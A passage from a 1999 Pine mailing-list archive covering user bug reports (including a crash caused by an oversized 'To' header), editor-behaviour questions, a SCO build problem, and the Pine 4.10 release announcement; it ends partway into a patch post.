From pinedev@shiva0.cac.washington.edu Tue Feb 2 17:28:38 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 2 Feb 1999 17:28:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id RAA10608 for ; Tue, 2 Feb 1999 17:28:37 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id RAA09298; Tue, 2 Feb 1999 17:28:35 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id RAA15621; Tue, 2 Feb 1999 17:27:34 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id RAA26244 for ; Tue, 2 Feb 1999 17:23:58 -0800 Received: from ursamajor.cisco.com (ursamajor.cisco.com [171.69.63.56]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id RAA06105 for ; Tue, 2 Feb 1999 17:23:58 -0800 (PST) Received: from casner-pc.cisco.com (casner-pc.cisco.com [171.71.37.112]) by ursamajor.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id RAA09387; Tue, 2 Feb 1999 17:23:54 -0800 (PST) Message-Id: Date: Tue, 2 Feb 1999 17:27:02 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Stephen Casner To: Pine Discussion Forum Subject: Mondo "To" field crashes pine In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-X-Sender: casner@ursamajor.cisco.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I was unfortunate enough (along with many others) to receive a spam from Denubis Banere containing about 20K bytes of "To" field. Doing a selection on To in a folder containing this message causes Unix pine 4.05 to seg fault and causes PC-Pine 4.05 to say access to mailbox is lost (which may mean that imapd crashed). In the PC case, attempting to look at the index beyond this message causes PC-Pine to get stuck in a loop putting up a message something like "[UID is invalid]" (sorry I can't repeat it now because I moved that message out of my INBOX and the index is all loaded already in the smaller file where I moved the bad message). Sometimes clicking on the window close button can get you out of PC-Pine, sometimes not. Is this a known bug? Anyone interested in this problematic message and/or a core file? -- Steve ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Tue Feb 2 18:38:36 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 2 Feb 1999 18:38:36 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id SAA11376 for ; Tue, 2 Feb 1999 18:38:35 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id SAA32329; Tue, 2 Feb 1999 18:38:33 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id SAA18983; Tue, 2 Feb 1999 18:37:35 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id SAA18956 for ; Tue, 2 Feb 1999 18:34:44 -0800 Received: from csun.edu (hp9k2.csun.edu [130.166.1.41]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id SAA31260 for ; Tue, 2 Feb 1999 18:34:43 -0800 (PST) Received: from itr04.csun.edu (s011n078.csun.edu [130.166.11.78]) by csun.edu (8.9.1/8.9.1) with SMTP id SAA24486 for ; Tue, 2 Feb 1999 18:34:42 -0800 (PST) Message-Id: Date: Tue, 2 Feb 1999 18:39:07 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Ovanes Manucharyan To: Pine Discussion Forum Subject: Insert vs. Overwrite? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Authentication: none X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN We've upgraded to 3.96 from 3.91 and have a minor problem. Users are complaining that now by default, the editor is in overwrite mode instead of insert mode. Does anyone know how to change this. Thanks in advance. Sincerely, Ovanes M. ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Wed Feb 3 07:22:15 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 3 Feb 1999 07:22:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA23718 for ; Wed, 3 Feb 1999 07:22:14 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA11287; Wed, 3 Feb 1999 07:22:12 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA19167; Wed, 3 Feb 1999 07:20:30 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA17196 for ; Wed, 3 Feb 1999 07:17:38 -0800 Received: from calvin.twntpe.cdc.com (ip129179-17-10.a.cdc.com [129.179.17.10]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA26965 for ; Wed, 3 Feb 1999 07:17:37 -0800 (PST) Received: from localhost by calvin.twntpe.cdc.com with ESMTP; Wed, 3 Feb 1999 23:17:29 +0800 Message-Id: Date: Wed, 3 Feb 1999 23:17:28 +0800 (GMT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Edward M Greshko To: Pine Discussion Forum Subject: Re: Insert vs. Overwrite? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Ovanes Manucharyan X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 2 Feb 1999, Ovanes Manucharyan wrote: > We've upgraded to 3.96 from 3.91 and have a minor problem. Why did you "upgrade" to 3.96 when the current release is 4.05? > Users are complaining that now by default, > the editor is in overwrite mode instead of > insert mode. > > Does anyone know how to change this. What platform are you running on? Thanks, Ed -- Edward M. Greshko Technical Manager, Electronic Commerce GSM: +65-975-10860 Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE From pinedev@shiva0.cac.washington.edu Thu Feb 4 07:21:12 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 4 Feb 1999 07:21:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA15652 for ; Thu, 4 Feb 1999 07:21:11 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA07268; Thu, 4 Feb 1999 07:21:09 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA01063; Thu, 4 Feb 1999 07:19:20 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA21650 for ; Thu, 4 Feb 1999 07:15:09 -0800 Received: from luomat.peak.org (port-39-ts1-gnv.da.fdt.net [209.212.132.198]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA20220 for ; Thu, 4 Feb 1999 07:15:06 -0800 (PST) Received: by luomat.peak.org (8.9.2/8.9.0) id KAA12727 for pine-info@u.washington.edu; Thu, 4 Feb 1999 10:15:03 -0500 (GMT-0500) Message-Id: <199902041515.KAA12727@ocalhost> Date: Thu, 4 Feb 1999 10:15:01 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Timothy J Luoma To: Pine Discussion Forum Subject: Re: Insert vs. Overwrite? In-Reply-To: References: Content-Type: text/plain MIME-Version: 1.0 X-To: Pine Discussion Forum X-Image-URL: http://www.peak.org/~luomat/luomat@peak.org.tiff X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Author: Edward M Greshko Date: Wed, 3 Feb 1999 23:17:28 +0800 (GMT) ID: > > We've upgraded to 3.96 from 3.91 and have a minor problem. > > Why did you "upgrade" to 3.96 when the current release is 4.05? There are lots of reasons. Going from .91 to .96 should be relatively painless, as the UI didn't change all that much. .05 is a very different beast, which does not behave like 3.9x. I'm still using 3.96 until the UI returns to a more usable format (in the Mail and News folder listings is the major difference, plus the key commands have changed. All of which was a very bad idea IMO) TjL ps -- this still doesn't answer the real question which was asked From pinedev@shiva0.cac.washington.edu Thu Feb 4 08:00:10 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 4 Feb 1999 08:00:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA16029 for ; Thu, 4 Feb 1999 08:00:08 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA18652; Thu, 4 Feb 1999 08:00:06 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA15396; Thu, 4 Feb 1999 07:58:38 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA17412 for ; Thu, 4 Feb 1999 07:55:33 -0800 Received: from eve.telalink.net (eve.telalink.net [207.152.1.3]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA06003 for ; Thu, 4 Feb 1999 07:55:32 -0800 (PST) Received: from mail.telalink.net (death [207.152.1.12]) by eve.telalink.net (MTA-v3.8/10.00v-fbmx-blkspam) with ESMTP id JAA22126; Thu, 4 Feb 1999 09:55:25 -0600 (CST) Received: from (chat70.fgi.net [208.149.185.70]) by mail1.telalink.net (MTA-v4.9.1/0.0a-fbmx) with ESMTP id JAA16135; Thu, 4 Feb 1999 09:55:23 -0600 Message-Id: Date: Thu, 4 Feb 1999 09:57:27 -0500 (US Eastern Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steven Ertelt To: Pine Discussion Forum Subject: Re: Insert vs. Overwrite? In-Reply-To: <199902041515.KAA12727@ocalhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Timothy J Luoma X-Cc: Pine Discussion Forum X-X-Sender: ertelt@mail.telalink.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I switched to PC Pine for Windows not long ago. The Pine I used to use didn't amke it so when you used ctrl-K to delete a line that it would be added to the clipboard and pasted the next time you use the Paste command. Anyway to disable that so it doesn't paste? Thanks, Steven From pinedev@shiva0.cac.washington.edu Thu Feb 4 14:10:43 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 4 Feb 1999 14:10:43 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA23727 for ; Thu, 4 Feb 1999 14:10:42 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA28632; Thu, 4 Feb 1999 14:10:40 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA03189; Thu, 4 Feb 1999 14:08:40 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA22488 for ; Thu, 4 Feb 1999 14:05:22 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA19942 for ; Thu, 4 Feb 1999 14:05:22 -0800 (PST) Received: from perfhyd.perfhyd.com (perfhyd.perfhyd.com [206.160.251.34]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA18081 for ; Thu, 4 Feb 1999 14:05:21 -0800 (PST) Received: from sysadmin (sysadmin.perfhyd.com [206.160.251.35]) by perfhyd.perfhyd.com (8.8.5/SCO5) with SMTP id QAA28751 for ; Thu, 4 Feb 1999 16:05:29 -0600 (CST) Message-Id: Date: Thu, 4 Feb 1999 16:07:03 -0600 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Kevin D. Wilkerson, Sr." To: Pine Discussion Forum Subject: Pine 4.05 Build for SCO OpenServer 5.0.4 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-To: "PineInfo" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I am attempting to generate compiled version of Pine 4.05 on SCO OpenServer 5.0.4 without success. When running the 'build sc5' command I get an error in the script process as indicated in the following screen shot: # ./build sc5 make args are CC=cc Making c-client library, mtest and imapd make CC=cc sc5 ./build: make: not found Making Pico and Pilot make CC=cc -f makefile.sc5 ./build: make: not found Making Pine. make CC=cc -f makefile.sc5 ./build: make: not found Links to executables are in bin directory: ./build: size: not found Done # and of course nothing is done. I'd appreciate any assistance in resolving this. Regards, Kevin Wilkerson Perfection Hydraulics, Inc. ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Thu Feb 4 15:32:51 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 4 Feb 1999 15:32:51 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id PAA25326 for ; Thu, 4 Feb 1999 15:32:50 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id PAA20266; Thu, 4 Feb 1999 15:32:48 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA09117; Thu, 4 Feb 1999 15:30:59 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id PAA28296 for ; Thu, 4 Feb 1999 15:27:52 -0800 Received: from stoadmin.auxserv.duke.edu (stoadmin.auxserv.duke.edu [152.3.191.144]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id PAA24673 for ; Thu, 4 Feb 1999 15:27:52 -0800 (PST) Received: from adsl-77-240-226.rdu.bellsouth.net by stoadmin.auxserv.duke.edu id aa07899; 4 Feb 99 18:23 EST Message-Id: <4.1.19990204181900.00936530@pop.mindspring.com> Date: Thu, 04 Feb 1999 18:22:49 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: George McConnell To: Pine Discussion Forum Subject: Re: Pine 4.05 Build for SCO OpenServer 5.0.4 In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-To: Pine Discussion Forum X-Cc: "Kevin D. Wilkerson, Sr." X-Sender: glmcconnell@pop.mindspring.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN At 05:07 PM 2/4/99 , you said something like... >I am attempting to generate compiled version of Pine 4.05 >on SCO OpenServer 5.0.4 without success. i ran into the same problem. to get around it, bring down the SCO box into single user mode (init 1) and then compile. i don't know what the problem is that multi-user mode won't compile Pine 4.0x, but single user mode works fine. the binaries work with no problems. From pinedev@shiva0.cac.washington.edu Thu Feb 4 19:38:54 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 4 Feb 1999 19:38:54 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA28487 for ; Thu, 4 Feb 1999 19:38:53 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA03018; Thu, 4 Feb 1999 19:38:51 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id TAA06903; Thu, 4 Feb 1999 19:37:36 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id TAA26942 for ; Thu, 4 Feb 1999 19:34:44 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA22985 for ; Thu, 4 Feb 1999 19:34:44 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA24756; Thu, 4 Feb 1999 19:34:41 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id TAA00693; Thu, 4 Feb 1999 19:32:01 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id TAA18740 for ; Thu, 4 Feb 1999 19:18:46 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA13039 for ; Thu, 4 Feb 1999 19:18:45 -0800 (PST) Received: from D-128-95-135-197.dhcp.washington.edu (D-128-95-135-197.dhcp.washington.edu [128.95.135.197]) by mailhost2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA01394; Thu, 4 Feb 1999 19:18:45 -0800 (PST) Message-Id: Date: Thu, 4 Feb 1999 19:18:45 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Michael Seibel To: Pine Discussion Forum Subject: Pine 4.10 now available MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: PINE-ANNOUNCE-owner@u.washington.edu X-To: Pine Announcement List X-X-Sender: mikes@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This note is to announce the availability of the Pine Message System version 4.10. Pine 4.10 is an evolutionary release that introduces a number of new features, provides options to support old features, and fixes a number of bugs found in previous releases. More specific information can be found in the built-in release notes ("R" off the Main Menu), and via: ftp://ftp.cac.washington.edu/pine/docs/ and (soon) http://www.cac.washington.edu/pine/ Source for the latest Pine release is available in: ftp://ftp.cac.washington.edu/pine/pine.tar.Z and ftp://ftp.cac.washington.edu/pine/pine.tar.gz and precompiled binaries for the various systems we have direct access to are available in: ftp://ftp.cac.washington.edu/pine/unix-bin and ftp://ftp.cac.washington.edu/pine/unix-bin-compressed The corresponding PC-Pine distribution is available in: ftp://ftp.cac.washington.edu/pine/pcpine/pm410w32.zip As with all Pine releases, it is important that you carefully test and determine for yourself that it performs suitably in your environment before placing Pine into production use. Enjoy! Sincerely, The Pine Development Team ------------------------------------------------------------- For information about this mailing list, see: http://www.washington.edu/pine/pine-info/pine-announce.html ------------------------------------------------------------- ------------------------------------------------------------- For information about this mailing list, see: http://www.washington.edu/pine/pine-info/pine-announce.html ------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Fri Feb 5 01:03:56 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 01:03:56 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id BAA20141 for ; Fri, 5 Feb 1999 01:03:54 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id BAA29185; Fri, 5 Feb 1999 01:03:52 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id BAA05984; Fri, 5 Feb 1999 01:01:49 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA12028 for ; Fri, 5 Feb 1999 00:46:22 -0800 Received: from calvin.twntpe.cdc.com (ip129179-17-10.a.cdc.com [129.179.17.10]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id AAA30724 for ; Fri, 5 Feb 1999 00:46:12 -0800 (PST) Received: from edspc17.twntpe.cdc.com by calvin.twntpe.cdc.com; Fri, 5 Feb 1999 16:46:02 +0800 Message-Id: <003301be50e4$167ed910$1511b381@edspc17.twntpe.cdc.com> Date: Fri, 5 Feb 1999 16:46:57 +0800 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Ed Greshko" To: Pine Discussion Forum Subject: RE: Insert vs. Overwrite? In-Reply-To: <199902041515.KAA12727@ocalhost> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-To: "Timothy J Luoma" X-Cc: "Pine Discussion Forum" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > > Why did you "upgrade" to 3.96 when the current release is 4.05? > > There are lots of reasons. And then there is a good reason. :-) It appears that the imap server they are using is somehow incompatible with the latest version of pine. > ps -- this still doesn't answer the real question which was asked The platform being used is HP/UX. I happen to have access to a similar platform running 3.96 and it doesn't exhibit the behavior mentioned. This doesn't answer the real question either....but it appears to rule out a pine specific issue. Regards, Ed From pinedev@shiva0.cac.washington.edu Fri Feb 5 01:58:53 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 01:58:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id BAA32108 for ; Fri, 5 Feb 1999 01:58:52 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id BAA30071; Fri, 5 Feb 1999 01:58:50 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id BAA22394; Fri, 5 Feb 1999 01:57:12 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA17644 for ; Fri, 5 Feb 1999 01:54:29 -0800 Received: from josef.ifi.unizh.ch (josef.ifi.unizh.ch [130.60.48.10]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id BAA29249 for ; Fri, 5 Feb 1999 01:54:27 -0800 (PST) Received: from ifi.unizh.ch by josef.ifi.unizh.ch with SMTP (PP) id <00125-0@josef.ifi.unizh.ch>; Fri, 5 Feb 1999 10:54:10 +0100 Received: from localhost by manhattan via ESMTP (8.9.1b+Sun/JAN94.IFI.UNIZH.CH) id KAA03662; Fri, 5 Feb 1999 10:54:09 +0100 (MET) Message-Id: Date: Fri, 5 Feb 1999 10:54:03 +0100 (MET) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Denis N. Antonioli" To: Pine Discussion Forum Subject: Re: Pine 4.10 now available In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Michael Seibel X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN -----BEGIN PGP SIGNED MESSAGE----- Hi, Congratulation for the improvement in the new release, the 'Role' feature is a dream comes true! Keep up the good work! Greetings, dna - -- The key is the software industry, which employs many highly educated, well-paid workers to (a) design software and then (b) try to figure out how come it doesn't work. -- Dave Barry, "Cue Alan Greenspan" -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: latin1 iQCVAwUBNrq/wH7lXFr6ofWlAQH9WgP/T+ul024kxBg67z+GVNNB5Libdd6C9t0C EwJLHSDotAhwLdz5Ka0iZbpFTp1XsVyM7FG5f0t71JPnA5DNK6nG1vTk6KE3xu1U hGerwqi1qYYKW0nI6QCuZ6RP4ewsPkNGTw6aMZCb6zY344O3phebw7m1apxtypOc 479UjKQUyVo= =NVmv -----END PGP SIGNATURE----- From pinedev@shiva0.cac.washington.edu Fri Feb 5 02:05:37 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 02:05:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id CAA32388 for ; Fri, 5 Feb 1999 02:05:35 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id CAA08235; Fri, 5 Feb 1999 02:05:33 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id CAA22636; Fri, 5 Feb 1999 02:04:46 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id CAA17492 for ; Fri, 5 Feb 1999 02:02:09 -0800 Received: from josef.ifi.unizh.ch (josef.ifi.unizh.ch [130.60.48.10]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id CAA12158 for ; Fri, 5 Feb 1999 02:02:07 -0800 (PST) Received: from ifi.unizh.ch by josef.ifi.unizh.ch with SMTP (PP) id <00397-0@josef.ifi.unizh.ch>; Fri, 5 Feb 1999 11:02:04 +0100 Received: from localhost by manhattan via ESMTP (8.9.1b+Sun/JAN94.IFI.UNIZH.CH) for id LAA03812; Fri, 5 Feb 1999 11:02:03 +0100 (MET) Message-Id: Date: Fri, 5 Feb 1999 11:01:57 +0100 (MET) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Denis N. Antonioli" To: Pine Discussion Forum Subject: PATCH: Packing the addresses MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-851401618-903453840=:13676" Content-ID: X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---559023410-851401618-903453840=:13676 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: -----BEGIN PGP SIGNED MESSAGE----- Hi, I've submitted once a patch to pack more than one address on a line when 